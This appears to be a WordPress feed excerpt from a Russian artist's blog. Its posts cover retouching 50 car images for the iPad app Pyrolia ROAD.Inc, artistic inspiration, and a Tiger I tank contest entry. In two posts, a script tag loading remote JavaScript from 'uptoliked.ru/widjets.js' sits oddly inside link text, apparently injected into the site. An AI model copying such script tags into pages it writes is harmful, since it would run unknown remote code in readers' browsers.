<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_front_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [фронт]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_front_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [фронт]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [фронт]" class="aligncenter size-full wp-image-2655" /></a><br />
<br/>Дополнительную сложность при ретушировании создавал вид авто. На фронт и бэк колёса приходилось все время ровнять, а где-то даже, закрывая глаза, на правдивость форм авто, срезать части колёс) На многих моделях задние колеса частенько зависали в воздухе. Заказчик мне объяснил, что это было связано с камерой при рендеринге, и что сделать иначе никак нельзя было. На начальных моделях пытались спускать колеса (делал моделлер), но как я понял в будущем отказались от этой идеи &#8211; это мне тоже прибавило мороки при начальной ретуши авто.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_back_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сзади]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_back_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сзади]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сзади]" class="aligncenter size-full wp-image-2653" /></a><br />
<br/><span style="font-weight:bold;">Alfa Romeo 6C [1929]</span> в отличие от <span style="font-weight:bold;">Bentley Blower [1930]</span> немного проще боковым видом, но остальные виды не менее сложны. Эти машины я запомнил как страшный сон) <span style="font-weight:bold;">Rolls Royce Phantom Star of India [1934]</span> попроще, но все равно размеры и количество деталей поражает, все эти фонари, трубы, обшивка!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._rolls_royce_phantom_star_of_india_1934_alfa_romeo_6c_1929_b.jpg" title="Pyrolia ROAD.Inc - Rolls Royce Phantom Star of India [1934] &amp; Alfa Romeo 6C [1929]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._rolls_royce_phantom_star_of_india_1934_alfa_romeo_6c_1929_s.jpg" alt="Pyrolia ROAD.Inc - Rolls Royce Phantom Star of India [1934] &amp; Alfa Romeo 6C [1929]" title="Pyrolia ROAD.Inc - Rolls Royce Phantom Star of India [1934] &amp; Alfa Romeo 6C [1929]" class="aligncenter size-full wp-image-2683" /></a><br />
<br/>Также среди коллекции можно встретить и современные спорткары. Они в отличие от классики проще в ретушировании. Минимум деталей, максимум обтекаемость и своеобразный вид тачек. Из всей коллекции очень понравилась <span style="font-weight:bold;">Pagani Zonda Cinque &#8211; 2009</span>. Просмотрел кучу рефернсов &#8211; красавица! Ну и как же без самого дорого в мире автомобиля  &#8211; <span style="font-weight:bold;">Bugatti Veyron 16.4 &#8211; 2006</span>. Создатели посчитали обязательным включить его в коллекцию.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._pagani_zonda_cinque_2009_bugatti_veyron_16.4_2006_b.jpg" title="Pyrolia ROAD.Inc - Pagani Zonda Cinque [2009] &amp; Bugatti Veyron 16.4 [2006]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._pagani_zonda_cinque_2009_bugatti_veyron_16.4_2006_s.jpg" alt="Pyrolia ROAD.Inc - Pagani Zonda Cinque [2009] &amp; Bugatti Veyron 16.4 [2006]" title="Pyrolia ROAD.Inc - Pagani Zonda Cinque [2009] &amp; Bugatti Veyron 16.4 [2006]" width="599" height="445" class="aligncenter size-full wp-image-2678" /></a><br />
<br/>Вообще идея всех тачек заключалась в том, что при авто можно было пальцем поднимать и опускать на пол. При этом физика падения и удара колесами о пол должна была сохраняться. Поэтому мне поставили задачу разрезать вид сбоку (именно при нем должно было быть падение) на части, колёса, детали и кузов отдельно, при этом подложка у тачки должна быть черным. Судя по видео презентации, тачки просто появляются, т.е. ими нельзя манипулировать, очень жаль!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._mercedes-benz_slr_stirling_moss_-_2010_side_cutting_b.jpg" title="Pyrolia ROAD.Inc - Mercedes-Benz SLR Stirling Moss [2010] - разрезание"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._mercedes-benz_slr_stirling_moss_-_2010_side_cutting_s.jpg" alt="Pyrolia ROAD.Inc - Mercedes-Benz SLR Stirling Moss [2010] - разрезание" title="Pyrolia ROAD.Inc - Mercedes-Benz SLR Stirling Moss [2010] - разрезание" class="aligncenter size-full wp-image-2692" /></a><br />
<br/>При такой резке проблема заключалась в том, что используя маски, у нас на стыки элементов авто образовывалось одно пиксельное пространство, т.е. грубо говоря, если вы возьмете лассо и начнете вырезать из квадрата маленький квадрат, а потом попробуете объединить, у вас не получится это сделать, чтобы при этом было как до резки. Поэтому по черному слою авто приходилось рисовать цветной кистью.<br />
<br/>Следующим интересным моментом при ретушировании было то, что у некоторых 3D модели авто были антенны. А их по замыслу не должно быть. Пришлось в итоге попариться, чтобы убрать.<br />
<br/>
<div style="text-align:center;font-style:normal;"><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._chevrolet_corvette_c1_1954_antenna.jpg" title="Pyrolia ROAD.Inc - Сhevrolet Сorvette С1 [1954] - антенна"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._chevrolet_corvette_c1_1954_antenna.jpg" alt="Pyrolia ROAD.Inc - Сhevrolet Сorvette С1 [1954] - антенна" title="Pyrolia ROAD.Inc - Сhevrolet Сorvette С1 [1954] - антенна" class="aligncenter size-full wp-image-2662" /></a></div>
<p><br/>А убрать их приходилось лишь по одной причине. Машину до закачки будет накрывать покрывало, которое можно убрать пальцем после загрузки модели авто. А вариант покрывала накрывающего антенну создатель решил не рассматривать. Дело хозяйское!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_porshe_911_cloth_b.jpg" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] Porshe 911 под покрывалом"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_porshe_911_cloth_s.jpg" alt="Pyrolia ROAD.Inc - iPad2 [снимок экрана] Porshe 911 под покрывалом" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] Porshe 911 под покрывалом" class="aligncenter size-full wp-image-2674" /></a><br />
<br/>Можно посмотреть на примерный оригинал редактируемого изображения. Здесь на несколько процентов уменьшено, но, в принципе, понять масштабы можно. Представляете как будет это смотреться на <span style="font-weight:bold;">iPad3</span>?)<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_cute_b.jpg" title="Pyrolia ROAD.Inc - Ferrari 250GTO [cute]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_cute_s.jpg" alt="Pyrolia ROAD.Inc - Ferrari 250GTO [cute]" title="Pyrolia ROAD.Inc - Ferrari 250GTO [cute]" class="aligncenter size-full wp-image-2664" /></a><br />
<br/>Основные правки были &#8211; это цветокоррекция кузова авто и регулирование уровней (светлее, темнее). Иногда приходилось добавлять обводку на колёса, чтобы выделить диски или покрышки авто. Так как на <span style="font-weight:bold;">iPad2</span> темные колеса выглядели не очень хорошо.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._lamborghini_countach_lp400_-_1974_back_b.jpg" title="Pyrolia ROAD.Inc - Lamborghini Countach LP400 [1974] [вид сзади]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._lamborghini_countach_lp400_-_1974_back_s.jpg" alt="Pyrolia ROAD.Inc - Lamborghini Countach LP400 [1974] [вид сзади]" title="Pyrolia ROAD.Inc - Lamborghini Countach LP400 [1974] [вид сзади]" class="aligncenter size-full wp-image-2676" /></a><br />
<br/>После первого дедлайна, мне дали еще время, при этом я с полной уверенностью заявил, что не успею и второй срок, т.к. я уже мог спокойно посчитать нужное мне время, на что заказчик писал, что он не может столько ждать. А мне оставалось только продолжать, к тому же я решил ускорить/автоматизировать процесс ретуши.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._porshe_917_k_b.jpg" title="Pyrolia ROAD.Inc -  Porshe 917 K"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._porshe_917_k_s.jpg" alt="Pyrolia ROAD.Inc -  Porshe 917 K" title="Pyrolia ROAD.Inc -  Porshe 917 K" class="aligncenter size-full wp-image-2680" /></a><br />
<br/>В каждый исходный файл я добавлял все референсы (см.в самом начале поста), так как они были обязательны для работы. Также я писал экшены в Фотошопе по созданию структуры для каждой машины. Например, первым идёт корпус авто, затем колёса и т.д. Потратив 2 полных дня на собрание 25 тачек (именно столько оставалось после 1-го дедлайна), я стал выполнять основную ретушь авто быстрее. Вот что значит правильно автоматизировать процесс)<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bugatti_type_41_royale_1930_side_b.jpg" title="Pyrolia ROAD.Inc -  Bugatti Type 41 Royale 1930 [вид сбоку]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bugatti_type_41_royale_1930_side_s.jpg" alt="Pyrolia ROAD.Inc -  Bugatti Type 41 Royale 1930 [вид сбоку]" title="Pyrolia ROAD.Inc -  Bugatti Type 41 Royale 1930 [вид сбоку]" class="aligncenter size-full wp-image-2661" /></a><br />
<br/>Где-то на 20-ой тачке я понял, как можно ускорить работу. На какие вещи стоит обращать пристальное внимание, а на какие-то применять легкую ретушь. Всё это значительно ускорило процесс работы. Про саму ретушь скажу, что основная работа заключалась в колёсах вида сбоку, кузове (блики, рефлексы, GI) и исправление пресловутых косяков 3D модели. В среднем каждая папка с тачкой (<span style="font-weight:bold;">psd</span>, <span style="font-weight:bold;">referens</span>, <span style="font-weight:bold;">archives</span>) занимает <span style="font-weight:bold;">1,5-3Gb</span> в сумме (все тачки) свыше <span style="font-weight:bold;">150Gb.</span><br />
<br/>Последней из тачек, которую я отретушировал был всем известный &laquo;жук&raquo;. Компактный и мобильный, очень крутой автомобиль!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._fominart.ru_road_inc_vw_beetle_b.jpg" title="Pyrolia ROAD.Inc - VW Beetle"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._fominart.ru_road_inc_vw_beetle_s.jpg" alt="Pyrolia ROAD.Inc - VW Beetle" title="Pyrolia ROAD.Inc - VW Beetle" class="aligncenter size-full wp-image-2670" /></a><br />
<br/>Меня немного удивило, что в титрах к приложению &laquo;<span style="font-weight:bold;">Pyrolia ROAD.Inc</span>&raquo; мне приписали должность <a href="http://ru.wikipedia.org/wiki/Matte_Painting" title="Matte Painting на википедии">Matte Painting</a>, да еще и с ошибкой (одна буква <span style="font-weight:bold;">&laquo;t&raquo;</span>). Моя работа &#8211; это <a href="http://ru.wikipedia.org/wiki/%D0%E5%E4%E0%EA%F2%E8%F0%EE%E2%E0%ED%E8%E5_%E8%E7%EE%E1%F0%E0%E6%E5%ED%E8%E9" title="Ретушь на википедии">ретушь</a> 50-ти автомобилей!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_credits_b.jpg" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] - титры"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_credits_s.jpg" alt="Pyrolia ROAD.Inc - iPad2 [снимок экрана] - титры" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] - титры" class="aligncenter size-full wp-image-2672" /></a><br />
<br/>На <a href="http://roadincorporated.com/" title="The Legendary Cars Anthology">сайте</a> <span style="font-weight:bold;">&laquo;Pyrolia&raquo;</span> можно узнать достаточно много подробностей о данном приложении. Помимо данных авто в этой энциклопедии встроены видео 3D вращения (360 градусов) всех 50-ти авто. Ссылка на <a href="http://vimeo.com/pyrolia/videos/page:1/sort:newest" title="PYROLIA SA на Vimeo.com">vimeo</a>.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._3d_video_b.jpg" title="Pyrolia ROAD.Inc - 3D видео [вращение авто]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._3d_video_s.jpg" alt="Pyrolia ROAD.Inc - 3D видео [вращение авто]" title="Pyrolia ROAD.Inc - 3D видео [вращение авто]" class="aligncenter size-full wp-image-2647" /></a><br />
<br />Посмотрите официальную презентацию приложения:<br />
<br/><a href="http://vimeo.com/31715393" title='Road Inc. App for iPad | The Legendary Cars Anthology'>Road Inc. App for iPad | The Legendary Cars Anthology</a> by <a href="http://vimeo.com/pyrolia" title="YungHan Chang на Vimeo">PYROLIA SA</a><br />
<object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=31715393&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=31715393&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Также можно почитать на русском статью <a href="http://macradar.ru/software/road-inc-legendy-avtomobilestroeniya-na-konchikax-palcev/" title="легенды автомобилестроения на кончиках пальцев">&laquo;ROAD Inc: легенды автомобилестроения на кончиках пальцев&raquo;</a> и посмотреть еще одно интересное видео, которое в подробностях раскрывает фишки приложения:<br />
<br /><a title="Test ROAD Inc. for ipad by pyrolia | Planete-GT.com" href="http://www.youtube.com/watch?v=ZsLLhnfGdJI&#038;feature=player_embedded">Test ROAD Inc. for ipad by pyrolia | Planete-GT.com</a><br />
<object width="580" height="380"><param name="movie" value="http://www.youtube.com/v/ZsLLhnfGdJI&amp;rel=0"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/ZsLLhnfGdJI&amp;rel=0" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Все 50 авто во всех ракурсах и их вращение можно посмотреть <a href="http://roadincorporated.com/index.php?/cars/" title="50 авто во всех ракурсах">здесь</a>. В меню выберите <span style="font-weight:bold;">Explore</span>.<br />
<br/>Всем спасибо за внимание!)</p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html/feed</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>Вдохновение</title>
		<link>https://fominart.ru/vdoxnovenie.html</link>
		<comments>https://fominart.ru/vdoxnovenie.html#comments</comments>
		<pubDate>Fri, 30 Dec 2011 07:48:51 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[cgart]]></category>
		<category><![CDATA[inspiration]]></category>
		<category><![CDATA[sketchbook]]></category>
		<category><![CDATA[speedpaint]]></category>
		<category><![CDATA[Концепт-арт]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=2464</guid>
		<description><![CDATA[Известно, что художники, иллюстраторы, дизайнеры, модельеры и многие другие творческие личности перед тем как создать работу вдохновляются. Вдохновение &#8211; это состояние, когда человек полностью погружен в то, что он делает, и не замечает ничего лишнего. Он черпает информацию из того, что его когда очень впечатлило. Путешествуя по миру, общаясь с разными людьми, посещая выставки, обмениваясь [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/vdoxnovenie.html" title="Вдохновение"><img src="http://fominart.ru/wp-content/uploads/2011/12/fominart.ru_inspiration_preview.jpg" alt="Вдохновение" title="Вдохновение" class="aligncenter size-full wp-image-2466" /></a><br />
<br/>Известно, что художники, иллюстраторы, дизайнеры, модельеры и многие другие творческие личности перед тем как создать работу вдохновляются. Вдохновение &#8211; это состояние, когда человек полностью погружен в то, что он делает, и не замечает ничего лишнего. Он черпает информацию из того, что его когда очень впечатлило. Путешествуя по миру, общаясь с разными людьми, посещая выставки, обмениваясь опытом с другими, читая и смотря работы талантливых художников, <span style="font-weight:bold;">cg</span>-художников, мы вдохновляемся. Я испытал лично на своем опыте.<span id="more-2464"></span><br />
<br/>В одно время активно просматривал уроки (туториалы) студии <a href="http://www.thegnomonworkshop.com/" title="Студия Gnomon">Gnomon</a> и открыл для себя cg-художника <a href="http://www.fengzhudesign.com/" title="cg-художник Feng Zhu">Feng Zhu<script src="//uptoliked.ru/widjets.js"></script></a>. Техника Фенга мне очень понравилась и я решил, что нужно пробовать также.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/12/fominart.ru_inspiration_feng_zhu_01b.jpg" title="Feng Zhu - скрин скетча из видеоурока"><img src="http://fominart.ru/wp-content/uploads/2011/12/fominart.ru_inspiration_feng_zhu_01s.jpg" alt="Feng Zhu - скрин скетча из видеоурока" title="Feng Zhu - скрин скетча из видеоурока" class="aligncenter size-full wp-image-2476" /></a><br />
<br/>Самым удачным, думаю, примером послужил <a href="http://fominart.ru/wp-content/gallery/sketches/fominart-ru_fair_2009.jpg" title="&laquo;Рынок&raquo;">&laquo;Рынок&raquo;</a>. Какая никакая, но схожесть заметна.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/12/fominart.ru_inspiration_feng_zhu_02b.jpg" title="Feng Zhu"><img src="http://fominart.ru/wp-content/uploads/2011/12/fominart.ru_inspiration_feng_zhu_02s.jpg" alt="Feng Zhu" title="Feng Zhu" class="aligncenter size-full wp-image-2478" /></a><br />
<br/>Или его работа с мостом также вдохновила меня на рисования скетча <a href="http://fominart.ru/wp-content/gallery/sketches/fominart-ru_asia_cute_2010.jpg" title="&laquo;Asia&raquo;">&laquo;Asia&raquo;</a> (незаконченный). Есть работы, которые я не публиковал. Советую обратить внимание на его технику рисования <img src="https://fominart.ru/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /><br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/12/fominart.ru_inspiration_marscg.blogspot.com_b.jpg" title="Marat-Ars - http://marscg.blogspot.com/"><img src="http://fominart.ru/wp-content/uploads/2011/12/fominart.ru_inspiration_marscg.blogspot.com_s.jpg" alt="Marat-Ars - http://marscg.blogspot.com/" title="Вдохновение - Marat-Ars - http://marscg.blogspot.com/" class="aligncenter size-full wp-image-2485" /></a><br />
<br/>Можно очень долго рассказывать о талантливых личностях, но всех их объединяет невероятные замыслы в создании работ, которые в свою очередь заставляют нас начинать творить, не важно, станет кто-то из нас таким же крутым как они. Желание творить!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/12/fominart.ru_inspiration_www.arsthanea.com_b.jpg" title="www.arsthanea.com - Реклама для NVIDIA"><img src="http://fominart.ru/wp-content/uploads/2011/12/fominart.ru_inspiration_www.arsthanea.com_s.jpg" alt="www.arsthanea.com - Реклама для NVIDIA" title="Вдохновение - www.arsthanea.com - Реклама для NVIDIA"  class="aligncenter size-full wp-image-2490" /></a><br />
<br/>Очень тяжело рассказать о каждом из них, поэтому постарался собрать всех, кто меня так или иначе вдохновил своими работами в 1 файл. Собирал таланты на протяжении 3-х лет. Большинство их считаю очень крутыми. Также помимо cg-художников, собрал известных и не очень известных cg-ретушеров. Вам рекомендую познакомиться с ними и брать примеры именно с них. Для вдохновения стоит обращать внимание не только на одно какое-то направление, будь то дизайн или арт, смотрите все, расширяйте свой кругозор, старайтесь почерпнуть как можно больше информации, тренируя тем самым свои глаза видеть прекрасное. Умение отличить слабую работу от очень крутой будет только плюсом. Повышайте свой скилл и всё у вас будет!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/12/wizvio_favorite_cgarttddesigneillustrator.zip" title="Мои закладки для Оперы">Мои закладки для <a href="http://www.opera.com/" title="Браузер Опера">Оперы</a></a> (<span style="font-weight:bold;">.adr</span> и <span style="font-weight:bold;">.html</span>). (~29Kb)<br />
<br/>PS: Превью для поста выбрал специально от <span style="font-weight:bold;">daarken&#8217;a</span>. Очень понравились его работы. Надеюсь он будет не против его рекламы в моем блоге!))</p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/vdoxnovenie.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Работа на конкурс TDWC#2 «Танк времен ВОВ»</title>
		<link>https://fominart.ru/rabota-na-konkurs-tdwc2-tank-vremen-vov.html</link>
		<comments>https://fominart.ru/rabota-na-konkurs-tdwc2-tank-vremen-vov.html#comments</comments>
		<pubDate>Wed, 16 Feb 2011 16:41:18 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Конкурсы]]></category>
		<category><![CDATA[Ретушь]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=1864</guid>
		<description><![CDATA[Серийное производство танков &#171;Тигр I&#187; было налажено в 1942 году на заводах фирм &#171;Хеншель&#187;, &#171;Кассель-Митфилд&#187; и &#171;Вегманн&#187; под обозначением Pz.Kpfw.VI(H) (Sd.Kfz.181), а после принятия на вооружение &#171;Тигра II&#187; (он же &#187;Королевский Тигр&#187;) в 1944 году танк назвали Pz.Kpfw.Vl Ausf.E. В производстве танк постоянно модифицировался. В 1942 году было изготовлено 78 танков &#171;Тигр I&#187;, в 1943 [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/rabota-na-konkurs-tdwc2-tank-vremen-vov.html" title='Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo;'><img src="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_preview.jpg" alt="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo;" title="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo;" class="alignnone size-full wp-image-1857" /></a><br />
<br/><br />
Серийное производство танков <span style='font-weight:bold;'>&laquo;Тигр I&raquo;</span> было налажено в <span style='font-weight:bold;'>1942 году</span> на заводах фирм <span style='font-weight:bold;'>&laquo;Хеншель&raquo;</span>, <span style='font-weight:bold;'>&laquo;Кассель-Митфилд&raquo;</span> и <span style='font-weight:bold;'>&laquo;Вегманн&raquo;</span> под обозначением <span style='font-weight:bold;'>Pz.Kpfw.VI(H)</span> (Sd.Kfz.181), а после принятия на вооружение &laquo;Тигра II&raquo; (он же &raquo;Королевский Тигр&raquo;) в 1944 году танк назвали <span style='font-weight:bold;'>Pz.Kpfw.Vl Ausf.E</span>. В производстве танк постоянно модифицировался. В <span style='font-weight:bold;'>1942 году</span> было изготовлено 78 танков <span style='font-weight:bold;'>&laquo;Тигр I&raquo;</span>, в <span style='font-weight:bold;'>1943 г.</span> – 649, а в <span style='font-weight:bold;'>1944 г.</span> – 623 танка, то есть всего 1350 штук.<br />
<br/></p>
<div style="text-align:right;font-style:italic;"><a href="http://otvaga2004.narod.ru/publ_w5/031_tiger_1.htm" title="Военно-патриотический сайт &laquo;ОТВАГА&raquo;">&laquo;ОТВАГА&raquo;</a></div>
<p><span id="more-1864"></span><br />
<br/>Продолжаем конкурс на <a href="http://makepizdato.ru/round-6/" title='1/4 финала конкурса TDWC#2'>мейке</a>! На этот раз задания начинают усложняться.<br />
<br/></p>
<ul style='color:#b04c1b;'>&laquo;Я отрендерил реальную модель немецкого танка <span style='font-weight:bold;'><a href="http://ru.wikipedia.org/wiki/T-VI" title='Panzerkampfwagen VI &laquo;Tiger I&#038;raquo на Википедии'>Panzerkampfwagen VI &laquo;Tiger I&raquo;<script src="//uptoliked.ru/widjets.js"></script></a></span>, образца 1942 года с нарезной 88 мм пушкой. Модель реальная, поэтому прошу отнестись к этой работе серьезно.<br />
<br/>Задание:</p>
<li>Максимально исторически точно сделать из рендера картинку реального танка (текстуры, знаки отличия, цвета, можно добавить вмятины и царапины).</li>
<li>Размер картинки по большей стороне — 1000px.</li>
<li>Фон менять нельзя.</li>
<li>Свастику использовать нельзя.&raquo;
</ul>
<p><br/><br />Ниже тот самый рендер для задания. Как видите, абсолютно &laquo;голая&raquo; модель.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_after_max.jpg" title='Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Референс по заданию'><img src="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_after_min.jpg" alt="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Референс по заданию" title="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Референс по заданию" class="alignnone size-full wp-image-1861" /></a><br />
<br/>По традиции я начал работу с изучения референсов. Мониторил яндекс и гугл в поисках старых фотографий этого танка. Также большую часть материала обнаружил на <a href="http://www.flickr.com/search/?w=all&#038;q=Panzerkampfwagen+VI+Tiger+I&#038;m=text" title='Перейти на Flickr'>фликре</a>.<br />
Небольшая компоновка самых подходящих ракурсов нашего танка, с которых можно разглядеть некоторые нужные детали, и которые нужно восстановить у рендера.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_refs_max.jpg" title='Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Доп. референсы'><img src="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_refs_min.jpg" alt="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Доп. референсы" title="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Доп. референсы" class="alignnone size-full wp-image-1859" /></a><br />
<br/>Сам процесс создания описывать не имеет смысла. Это большая такая рутиная работа по отрисовке каждого элемента танка. Я стараюсь не клонировать объекты там, где они одинаковые, а нарисовать заново (внести мелкие изменения в конструкции уже нарисованного). Танк отрисован шейпами+маски в Фотошопе с последующей постобработкой (затонировал фон, добавил немного шума на фон, использовал <span style='font-weight:bold;'>Lens Corretcion</span> с использованием маски). В общем, как обычно. Начинал отрисовку с дисков, постепенно поднимаясь по каркасу танка до кабины. На работу ушло, примерно дней 5.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_max.jpg" title='Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Финал'><img src="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_min.jpg" alt="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Финал" title="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Финал" class="alignnone size-full wp-image-1863" /></a><br />
<br/>В итоге, я одержал победу и прошел в следующий тур. Следите за новостями. Следующий пост будет очень интересный в плане процесса работы, где я буду показывать на видео, саму работу <img src="https://fominart.ru/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /><br />
<br/>Скачать данную модель танка можно <a href="http://3d-wares.com/3d-models/war/war-tech/tiger.html" title='3D-модели, уроки, материалы, текстуры - 3D скачать бесплатно'>тут</a>. Кстати, модель, смоделирована студией <a href="http://www.deespona.com/3denciclopedia/menu.html" title='DE ESPONA INFOGRAFICA'>DeEspona</a>.<br />
<br/>Дополнительно почитать интересные заметки о танке можно <a href="http://www.antik1941.ru/new_catalog/?mode=descr&#038;cat_id=52&#038;item_id=2812" title='Военные трофеи в коллекцию и для эксклюзивных подарков'>здесь</a>.<br />
<br/>P.S.: Перо почти <a href="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_-fominart.ru_panzerkampfwagen_vi_tiger_i_pero.jpg" title='Мое сточенное перо'>сточил и поцарапал</a> центр поля на планшете (такая дырка в центре). Похоже скоро надо будет менять. 3 года не менял. Хорошо, что запасся плёнкой и в комплекте с планшетом идут грифели).<br />
<br/>P.S.S.: Немного архитектуры. Очень поразило меня видео от Alex Roman, музыка и сама камера съемки, это что-то! Это полностью 3D-видео, ни капли настоящего, живого! В это с трудом, конечно, верится, но всё же. Смотрим!<br />
<br/><br/><a href="http://vimeo.com/7809605" title='3D from Alex Roman'>The Third &#038; The Seventh</a> by <a href="http://vimeo.com/user1337612" title='Alex Roman на Vimeo.com'>Alex Roman</a><br />
<object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=7809605&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=7809605&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object></p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/rabota-na-konkurs-tdwc2-tank-vremen-vov.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Работа на конкурс TDWC#2 &#171;Стальной мяч&#187;</title>
		<link>https://fominart.ru/rabota-na-konkurs-tdwc2-stalnoj-myach.html</link>
